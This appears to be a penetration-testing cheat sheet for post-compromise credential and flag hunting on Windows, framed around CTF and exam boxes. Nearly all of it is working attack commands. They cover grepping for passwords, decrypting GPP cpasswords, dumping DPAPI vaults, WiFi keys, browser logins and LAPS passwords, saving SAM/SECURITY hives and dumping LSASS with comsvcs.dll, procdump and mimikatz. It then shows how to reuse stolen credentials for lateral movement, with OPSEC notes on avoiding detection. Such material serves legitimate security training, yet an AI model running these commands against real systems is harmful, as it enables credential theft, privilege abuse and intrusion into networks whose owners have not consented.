Windows Credential & Flag Hunting

Post-compromise searching on Windows: find proof flags, then sweep for passwords and secrets. Which shell you are in decides which syntax works — this trips people up constantly.

⚠️ Read This First — CMD vs PowerShell

Evil-WinRM, WinRM, and most modern remote shells drop you into PowerShell, not CMD. In PowerShell, dir and where are aliases for Get-ChildItem and Where-Object, so old CMD flags are parsed as arguments and fail:

*Evil-WinRM* PS C:\> dir /S /B *user*.txt
A positional parameter cannot be found that accepts argument '*user*.txt'.
*Evil-WinRM* PS C:\> where /R C:\ user.txt
A positional parameter cannot be found that accepts argument 'user.txt'.

dir /S /B, where /R, and findstr /SI are CMD-only — they do not work at a PowerShell prompt. Use one of the two fixes below.

Escape hatch — run CMD from PowerShell: if you insist on the CMD one-liners, wrap them:

cmd /c "dir /S /B C:\*user*.txt"
cmd /c "where /R C:\ user.txt"
cmd /c "findstr /S /I /M password C:\*.xml C:\*.ini C:\*.txt"

Note — -ErrorAction SilentlyContinue (short: -EA 0) is the PowerShell equivalent of 2>nul — it hides “Access Denied” noise from directories you cannot read. Without it, a C:\ recurse is unreadable.

Phase 1 — Flag Hunting

PowerShell (Evil-WinRM)

# Standard proof files anywhere on C:\
Get-ChildItem -Path C:\ -Recurse -Include user.txt,root.txt,proof.txt,flag*.txt -ErrorAction SilentlyContinue -Force

# Usual desktops (most HTB/exam boxes)
Get-Content C:\Users\*\Desktop\user.txt -ErrorAction SilentlyContinue
Get-Content C:\Users\Administrator\Desktop\root.txt -ErrorAction SilentlyContinue

# Anything named like a flag, including hidden files (-Force shows hidden/system)
Get-ChildItem -Path C:\ -Recurse -Filter *flag* -Force -ErrorAction SilentlyContinue

CMD

dir /S /B C:\user.txt C:\root.txt
where /R C:\ user.txt
type C:\Users\Administrator\Desktop\root.txt

Note — -Include needs -Recurse (or a wildcard in -Path) to take effect. -Filter is faster than -Include but accepts only one pattern.

Phase 2 — Finding Files (PowerShell reference)

# By extension across the whole drive
Get-ChildItem -Path C:\ -Recurse -Include *.kdbx,*.config,*.xml,*.ini,*.txt -EA 0

# Alias shorthand: gci = Get-ChildItem
gci C:\ -Recurse -Filter *.pem -EA 0 | Select-Object FullName

# Files changed recently (fresh loot)
gci C:\ -Recurse -EA 0 | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-1) } | Select FullName,LastWriteTime

# Only return the path column, not the full table
gci C:\Users -Recurse -Filter *.txt -EA 0 | % { $_.FullName }

Phase 3 — Grep File Contents (Select-String)

Select-String (alias sls) is PowerShell’s grep/findstr:

# Recurse a tree, search common config types for "password"
Get-ChildItem -Path C:\ -Recurse -Include *.xml,*.ini,*.txt,*.config,*.ps1,*.bat -EA 0 |
  Select-String -Pattern 'password|passwd|pwd|secret' -EA 0

# List only the matching file names (like findstr /M)
gci C:\inetpub,C:\xampp -Recurse -Include *.php,*.config -EA 0 |
  Select-String 'password' -List -EA 0 | Select-Object Path

# Save results to a file
gci C:\ -Recurse -Include *.config,*.xml -EA 0 |
  Select-String 'password' -EA 0 | Out-File C:\Windows\Temp\results.txt

CMD equivalent (findstr)

:: /S recurse, /I case-insensitive, /M filenames only, /N line numbers, /P skip binaries
findstr /S /I /M "password" C:\*.xml C:\*.ini C:\*.txt C:\*.config
findstr /S /I /N "password" C:\*.config 2>nul >> results.txt
findstr /S /P /I "password" C:\Users\*.*

Why the original one-liners failed — findstr /spin "password" *.* and findstr /si password *.xml only search the current directory unless you cd first and give real paths, and they are CMD syntax so they error outright in an Evil-WinRM PowerShell prompt. Prefer the Select-String versions above.

Phase 4 — High-Value Locations

Unattended install / provisioning files (classic plaintext creds)

Get-ChildItem -Path C:\ -Recurse -Include Unattend.xml,Unattended.xml,sysprep.xml,sysprep.inf,Autounattend.xml -EA 0
# Common fixed paths:
type C:\Windows\Panther\Unattend.xml 2>$null
type C:\Windows\System32\Sysprep\sysprep.xml 2>$null
# GPP password in SYSVOL (cpassword) — decrypt with gpp-decrypt
gci \\<DC>\SYSVOL -Recurse -Include Groups.xml,Services.xml,ScheduledTasks.xml -EA 0

GPP passwords in SYSVOL (cpassword)

Group Policy Preferences stored local-account passwords as cpassword in SYSVOL XML, AES-encrypted with a public static key — any authenticated domain user can decrypt them. Complements the \\<DC>\SYSVOL find above.

# On a domain-joined host (PowerSploit) — auto-finds + decrypts all GPP cpasswords
Get-GPPPassword

# Manual: grep SYSVOL for the encrypted blob
findstr /S /I cPassword \\<domain>\SYSVOL\<domain>\Policies\*.xml

# Remote from Linux (no domain join needed)
Get-GPPPassword.py '<domain>/<user>:<pass>@<DC>'
nxc smb <DC> -u <user> -p '<pass>' -M gpp_password
gpp-decrypt '<cpassword_value>'

Note — MS14-025 blocked creating new GPP passwords, but existing ones were never purged. Full walkthrough: /sheets/active-directory/attack-48-gpp-password-decryption

PowerShell & CMD history (very commonly holds passwords)

# PSReadLine history file — per user, survives reboots
Get-Content (Get-PSReadlineOption).HistorySavePath -EA 0
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Every user's history
gci C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -EA 0 | % { $_.FullName; gc $_.FullName }

Saved / cached credentials

cmdkey /list                       # stored credentials (use with runas /savecred)
# Web / app config secrets
gci C:\inetpub\wwwroot -Recurse -Include web.config,appsettings.json,*.config -EA 0 | Select-String 'password|connectionString'
type C:\Windows\System32\inetsrv\config\applicationHost.config 2>$null

Windows Credential Manager & Vault

cmdkey /list (above) shows targets but never the secret. To enumerate and decrypt the stored blobs:

# Enumerate stored credentials (targets only — no plaintext returned)
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
vaultcmd /listcreds:"Web Credentials" /all

# Web Credentials plaintext for the CURRENT user (WinRT PasswordVault)
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$v = New-Object Windows.Security.Credentials.PasswordVault
$v.RetrieveAll() | % { $_.RetrievePassword(); '{0}  {1}  {2}' -f $_.Resource,$_.UserName,$_.Password }

# Third-party module (needs: Install-Module CredentialManager)
Get-StoredCredential -Target TERMSRV/<host>
(Get-StoredCredential -Target 'git:https://github.com').GetNetworkCredential().Password

# Decrypt Credential Manager / Vault blobs via DPAPI (current-user context)
SharpDPAPI.exe credentials
SharpDPAPI.exe vaults

Note — vaultcmd lists targets only; the passwords are DPAPI-protected under %APPDATA%\Microsoft\Credentials\ and %LOCALAPPDATA%\Microsoft\Credentials\, decryptable only in the owning user’s context or with their masterkey (see DPAPI in Phase 5).

WiFi saved keys (netsh wlan)

netsh wlan show profiles
netsh wlan show profile name="<SSID>" key=clear    :: look for the "Key Content" line

:: Dump every saved profile's PSK in one pass
for /f "tokens=2 delims=:" %a in ('netsh wlan show profiles ^| findstr "All User Profile"') do @netsh wlan show profile name="%~a" key=clear ^| findstr /C:"SSID name" /C:"Key Content"

netsh wlan show profiles | Select-String ':\s(.+)$' | % {
  $ssid = $_.Matches.Groups[1].Value.Trim()
  netsh wlan show profile name="$ssid" key=clear | Select-String 'SSID name|Key Content'
}

Note — key=clear needs local admin (or the profile’s owning user). Without it the PSK shows as Present but redacted.

Registry secrets

# Autologon plaintext password
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' | Select DefaultUserName,DefaultPassword,DefaultDomainName
# VNC, PuTTY, SNMP, and installer creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s 2>$null
reg query "HKLM\SOFTWARE\RealVNC\vncserver" /v Password 2>$null
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s 2>$null
# Search entire hives for "password"
reg query HKLM /f password /t REG_SZ /s 2>$null
reg query HKCU /f password /t REG_SZ /s 2>$null

Saved-session managers (PuTTY / WinSCP / RDP)

# PuTTY — the PROXY password is stored in CLEARTEXT in the registry
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr /I "HostName UserName ProxyPassword ProxyUsername"

# WinSCP — sessions in the registry (or WinSCP.ini for portable installs)
reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
type "$env:APPDATA\WinSCP.ini" 2>$null   # portable installs; installed WinSCP keeps sessions in the registry (above)

# WinSCP OBFUSCATES (does not encrypt) the password unless a master password is set —
# feed HostName + UserName + the stored Password to a public decoder:
#   msf6 > use post/windows/gather/credentials/winscp     # against a live host

Note — .rdp files (grabbed in the keys/vaults sweep) hold the server + username only; the RDP password is a DPAPI blob in Credential Manager (cmdkey), not in the file. A WinSCP session protected with a master password cannot be trivially decoded — capture it interactively instead.

Keys, vaults, and databases

gci C:\ -Recurse -Include *.kdbx,*.ppk,*.pem,id_rsa -EA 0        # KeePass / PuTTY / SSH keys
gci C:\Users -Recurse -Include *.rdp -EA 0                        # saved RDP profiles
gci $env:USERPROFILE\.aws\credentials,$env:USERPROFILE\.ssh\* -EA 0

Finding KeePass vaults — CMD

dir /s /b C:\*.kdbx
where /r C:\ *.kdbx
dir /s /b %USERPROFILE%\*.kdbx

Finding KeePass vaults — PowerShell

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -EA 0
Get-ChildItem -Path C:\Users -Include *.kdbx,*.kdb -File -Recurse -EA 0 |
    Select-Object FullName, LastWriteTime

# KeePass config often leaks the key-file path or an auto-open DB path
Get-ChildItem -Path C:\Users -Include KeePass.config.xml -File -Recurse -EA 0

Related artifacts worth grabbing alongside the .kdbx

• KeePass.config.xml — may reference a key-file path or an auto-open DB
• *.key files near the vault — possible key-file auth component
• Live KeePass.exe process — memory can be scraped for the unlocked DB (e.g. KeePassDumpFull, or a mimikatz-style memory dump)
• %APPDATA%\Microsoft\Windows\Recent\ — shortcuts (.lnk) that reference a .kdbx path even if the vault itself has moved

Offline cracking

keepass2john vault.kdbx > hash.txt
john hash.txt
# or: hashcat -m 13400 hash.txt wordlist.txt

LAPS — read managed local-admin password

If your foothold user can read the LAPS attribute (ACL or delegated group), the managed local-admin password sits in cleartext in AD (ms-Mcs-AdmPwd for v1; msLAPS-Password / msLAPS-EncryptedPassword for v2).

# Native RSAT / LAPS module
Get-ADComputer <TARGET> -Properties ms-Mcs-AdmPwd | Select Name,ms-Mcs-AdmPwd
Get-LapsADPassword -Identity <TARGET> -AsPlainText          # LAPS v2 module

# PowerView
Get-DomainComputer <TARGET> -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime

# NetExec
nxc ldap <DC> -u <user> -p '<pass>' --module laps
nxc smb  <DC> -u <user> -p '<pass>' --laps
# ldapsearch
ldapsearch -x -H ldap://<DC> -D '<user>@<domain>' -w '<pass>' \
  -b 'DC=<dc>,DC=<tld>' '(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd

Note — LAPS v2 encrypts the password blob (msLAPS-EncryptedPassword) — decrypt with Get-LapsADPassword or NetExec. Full technique: /sheets/active-directory/attack-72-laps-password-extraction

Phase 5 — SAM / LSASS / DPAPI (local admin required)

:: Dump the local SAM + SYSTEM hives, then crack/pass-the-hash offline
reg save HKLM\SAM  C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
:: Exfil, then:  impacket-secretsdump -sam sam.save -system system.save LOCAL

# LSASS memory dump for mimikatz (Task Manager > lsass > Create dump, or):
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full
# Then offline:  pypykatz lsa minidump lsass.dmp

Note — These need local Administrator / SeDebugPrivilege and are noisy (Defender flags LSASS access). For a stealthier route dump remotely with nxc smb <host> -u u -p p --sam --lsa.

Full hive triage (SAM + SYSTEM + SECURITY)

Grab the SECURITY hive alongside SAM + SYSTEM — it holds LSA secrets (service-account plaintext, DPAPI machine key, $MACHINE.ACC) and cached domain logons (MSCACHEv2 / DCC2).

reg save HKLM\SAM      C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM   C:\Windows\Temp\system.save
reg save HKLM\SECURITY C:\Windows\Temp\security.save

# Offline — local SAM hashes + LSA secrets + cached DCC2 hashes
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
# Cached domain creds crack as:  hashcat -m 2100 '$DCC2$...' wordlist

Note — LSA secrets frequently contain service-account cleartext passwords (_SC_<svc>, DefaultPassword); cached logons (NL$KM -> DCC2) only crack offline and are slow (-m 2100), never pass-the-hash.

LSASS dump alternatives & DPAPI / browser secrets

:: procdump (Sysinternals, signed) — alternative to the comsvcs.dll MiniDump above
procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
:: dump by PID if the process name is filtered
procdump64.exe -accepteula -ma <lsass_pid> C:\Windows\Temp\lsass.dmp

# Parse the dump offline
pypykatz lsa minidump C:\Windows\Temp\lsass.dmp

# DPAPI masterkeys -> decrypt Credential Manager / Vault / browser blobs (mimikatz)
privilege::debug
sekurlsa::dpapi                                   # cached masterkeys straight from LSASS
dpapi::masterkey /in:%APPDATA%\Microsoft\Protect\<SID>\<GUID> /sid:<SID> /password:<userpw>
dpapi::masterkey /in:<masterkey> /rpc            # or decrypt via the DA domain backup key
dpapi::cred /in:%APPDATA%\Microsoft\Credentials\<GUID>

# SharpDPAPI — one-shot triage of the current user's DPAPI-protected secrets
SharpDPAPI.exe triage
SharpDPAPI.exe backupkey /nowrap                  # on a DC as Domain Admin -> domain DPAPI key

# Browser saved logins / cookies (Chrome + Chromium Edge)
SharpChrome.exe logins
SharpChrome.exe cookies
lazagne.exe browsers

Note — Chrome/Edge 127+ wrap the Local State AES key with App-Bound Encryption; offline SharpChrome/LaZagne may return empty for newer profiles — run in the victim’s session or use an ABE-aware tool. Browser DBs live at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data plus ...\Local State.

Note — DPAPI + certificate theft in depth: /sheets/active-directory/theft2-user-certificate-theft-via-dpapi and /sheets/active-directory/mimikatz

Phase 6 — Automated Tools

# Evil-WinRM: upload a tool then run it
# (from the Evil-WinRM prompt)  upload winPEASx64.exe
.\winPEASx64.exe quiet cmd fast

Phase 7 — Using a Found Password (run a session as another user)

Once you’ve recovered a username + password, spawn a shell running as that user instead of just verifying the cred worked.

CMD — runas

:: Prompts for the password interactively
runas /user:DOMAIN\targetuser cmd

:: Local (non-domain) account
runas /user:targetuser cmd

:: /netonly — use when the account is only valid on a REMOTE box (no local
:: logon rights here); local commands still run as YOU, but anything that
:: hits the network authenticates as targetuser. Avoids a failed local logon.
runas /netonly /user:DOMAIN\targetuser cmd

:: Reuse a credential CMD already cached (see `cmdkey /list` above)
runas /savecred /user:DOMAIN\targetuser cmd

PowerShell — build a credential object

# Prompts for the password securely (or build SecureString from a known plaintext)
$cred = Get-Credential DOMAIN\targetuser
# Non-interactive, from a known plaintext (lab/CTF use):
$pass = ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\targetuser', $pass)

# New process as that user (own console window)
Start-Process powershell -Credential $cred

# Interactive shell in the CURRENT console (no new window)
$si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = 'powershell.exe'
$si.UserName = 'targetuser'; $si.Domain = 'DOMAIN'
$si.Password = $pass
$si.UseShellExecute = $false      # REQUIRED — Start() throws if this is left $true with explicit creds
[System.Diagnostics.Process]::Start($si)

# Remote session / lateral movement as that user (WinRM must be enabled on target)
Enter-PSSession -ComputerName TARGET -Credential $cred
$s = New-PSSession -ComputerName TARGET -Credential $cred
Invoke-Command -Session $s -ScriptBlock { whoami }

# Run one command as the user without a full session
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami /all }

Note — runas and Start-Process -Credential need the password (or hash via /netonly + mimikatz sekurlsa::pth); they don’t accept an NTLM hash directly. For hash-only creds, pass-the-hash instead: impacket-psexec, impacket-wmiexec, or evil-winrm -i TARGET -u user -H <NTLMhash>.

Quick Wins Checklist

• Get-Content (Get-PSReadlineOption).HistorySavePath — PS history
• cmdkey /list — saved credentials for runas /savecred
• Unattend.xml / sysprep.xml / Autounattend.xml
• Winlogon DefaultPassword autologon
• web.config / appsettings.json connection strings
• SYSVOL Groups.xml GPP cpassword (→ gpp-decrypt)
• .kdbx KeePass, .ppk/id_rsa keys, .rdp profiles
• reg query HKLM /f password /t REG_SZ /s
• vaultcmd /list + SharpDPAPI.exe credentials — Credential Manager / Vault secrets
• netsh wlan show profile name="<SSID>" key=clear — saved WiFi PSKs
• LAPS ms-Mcs-AdmPwd read (RSAT / PowerView / nxc --laps)
• SECURITY hive -> LSA secrets + cached domain creds (secretsdump … -security)
• SharpChrome.exe logins / lazagne.exe browsers — browser saved logins
• PuTTY ProxyPassword (cleartext) / WinSCP saved sessions

Troubleshooting

Detection & OPSEC

• Recursive Get-ChildItem / Select-String over C:\ is high-volume file access and is exactly what EDR file-telemetry rules watch for. Scope to the paths that pay off (C:\Users\*, C:\inetpub, C:\ProgramData, C:\Windows\Panther).
• Touching \Panther\Unattend.xml, GPP Groups.xml on SYSVOL, and the credential vault maps to MITRE T1552 (Unsecured Credentials). Defenders with SACLs on those paths get an event per read.
• PowerShell is logged. Script Block Logging (Event ID 4104) and transcription capture your one-liners verbatim. cmd.exe findstr is quieter but still lands in process-creation logs (4688) with the full command line if command-line auditing is on.
• Copying a hive or keystore off-box is louder than reading it in place — file-write plus network egress. Extract what you need and pull the smallest artifact.
• runas /savecred reuses stored credentials and generates a logon event (4624, logon type 2/9) under the target account; expect it to correlate against your source host.

Related

• Linux Credential & Flag Hunting — same job on Linux
• Kerberoasting / AS-REP Roasting — turn a domain foothold into crackable hashes
• Hashcat — crack recovered hashes (-m 1000 NTLM, -m 5600 NetNTLMv2)
• Windows Privilege Escalation — /sheets/privilege-escalation/windows-privesc
• Mimikatz — /sheets/active-directory/mimikatz — DPAPI, LSASS and vault extraction
• LAPS password extraction — /sheets/active-directory/attack-72-laps-password-extraction
• GPP password decryption — /sheets/active-directory/attack-48-gpp-password-decryption
• DPAPI certificate theft — /sheets/active-directory/theft2-user-certificate-theft-via-dpapi
• NetExec — /sheets/active-directory/netexec — remote --sam / --lsa / --laps dumping
• Run as another user from Evil-WinRM — /sheets/active-directory/run-as-another-user-from-evil-winrm